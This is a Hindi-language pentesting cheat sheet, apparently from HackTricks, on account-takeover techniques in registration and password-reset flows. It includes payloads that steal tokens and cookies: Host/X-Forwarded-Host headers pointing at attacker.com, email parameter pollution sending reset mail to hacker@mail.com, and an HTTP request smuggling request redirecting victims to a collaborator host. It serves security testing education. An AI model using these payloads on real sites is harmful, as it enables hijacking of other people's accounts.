16 KiB
पंजीकरण और अधिग्रहण कमजोरियाँ
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ चेक करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter 🐦 पर हमें फॉलो करें @hacktricks_live.
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।
पंजीकरण अधिग्रहण
डुप्लिकेट पंजीकरण
- एक मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने का प्रयास करें
- ईमेल को बदलने की जांच करें:
- अपरकेस
- +1@
- ईमेल में कुछ डॉट जोड़ें
- ईमेल नाम में विशेष वर्ण (%00, %09, %20)
- ईमेल के बाद काले वर्ण डालें:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
उपयोगकर्ता नाम गणना
जांचें कि क्या आप पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।
पासवर्ड नीति
एक उपयोगकर्ता बनाने पर पासवर्ड नीति की जांच करें (जांचें कि क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।
इस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने का प्रयास कर सकते हैं।
SQL इंजेक्शन
इस पृष्ठ की जांच करें यह सीखने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या पंजीकरण फॉर्म के माध्यम से SQL इंजेक्शन के माध्यम से जानकारी निकालें।
ओथ अधिग्रहण
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML कमजोरियाँ
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
ईमेल बदलें
जब पंजीकृत हों तो ईमेल बदलने का प्रयास करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं।
अधिक जांचें
- जांचें कि क्या आप निष्क्रिय ईमेल का उपयोग कर सकते हैं
- लंबा पासवर्ड (>200) DoS की ओर ले जाता है
- खाता निर्माण पर दर सीमाओं की जांच करें
- username@burp_collab.net का उपयोग करें और कॉलबैक का विश्लेषण करें
पासवर्ड रीसेट अधिग्रहण
रेफरर के माध्यम से पासवर्ड रीसेट टोकन लीक
- अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
- पासवर्ड रीसेट लिंक पर क्लिक करें
- पासवर्ड न बदलें
- किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
- Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
- जांचें कि क्या रेफरर हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।
पासवर्ड रीसेट पॉइज़निंग
- Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
- Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- संशोधित हेडर के साथ अनुरोध को फॉरवर्ड करें
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- host header के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे:
https://attacker.com/reset-password.php?token=TOKEN
ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- हमलावर को अपने खाते में लॉगिन करना होगा और पासवर्ड बदलें फीचर पर जाना होगा।
- Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें।
- इसे रिपीटर टैब में भेजें और पैरामीटर संपादित करें: उपयोगकर्ता ID/ईमेल
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने का एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं।
- टाइमस्टैम्प
- उपयोगकर्ता ID
- उपयोगकर्ता का ईमेल
- पहला नाम और अंतिम नाम
- जन्म तिथि
- क्रिप्टोग्राफी
- केवल संख्या
- छोटा टोकन अनुक्रम (अक्षर [A-Z,a-z,0-9] के बीच)
- टोकन पुन: उपयोग
- टोकन समाप्ति तिथि
Leaking Password Reset Token
- एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध ट्रिगर करें, जैसे: test@mail.com
- सर्वर प्रतिक्रिया का निरीक्षण करें और
resetToken
की जांच करें। - फिर टोकन का उपयोग एक URL में करें जैसे
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में खाली स्थान डालें। जैसे:
"admin "
- अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
- अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
- नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।
प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।
देखें: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- एप्लिकेशन के अंदर या उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है:
*.domain.com
- वर्तमान सत्र कुकी लीक करें।
- कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें।
Account Takeover Via HTTP Request Smuggling
1. smuggler का उपयोग करें ताकि HTTP अनुरोध स्मगलिंग (CL, TE, CL.TE) के प्रकार का पता लगाया जा सके।
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. एक अनुरोध तैयार करें जो POST / HTTP/1.1
को निम्नलिखित डेटा के साथ ओवरराइट करेगा:
GET http://something.burpcollaborator.net HTTP/1.1 X:
जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।
3. अंतिम अनुरोध निम्नलिखित के समान हो सकता है
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone रिपोर्ट इस बग का फायदा उठाते हुए
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
CSRF के माध्यम से खाता अधिग्रहण
- CSRF के लिए एक पेलोड बनाएं, जैसे: “पासवर्ड परिवर्तन के लिए ऑटो सबमिट वाला HTML फॉर्म”
- पेलोड भेजें
JWT के माध्यम से खाता अधिग्रहण
JSON वेब टोकन का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।
- दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT संपादित करें
- कमजोर JWT हस्ताक्षर की जांच करें
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
संदर्भ
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter 🐦 @hacktricks_live पर हमें फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।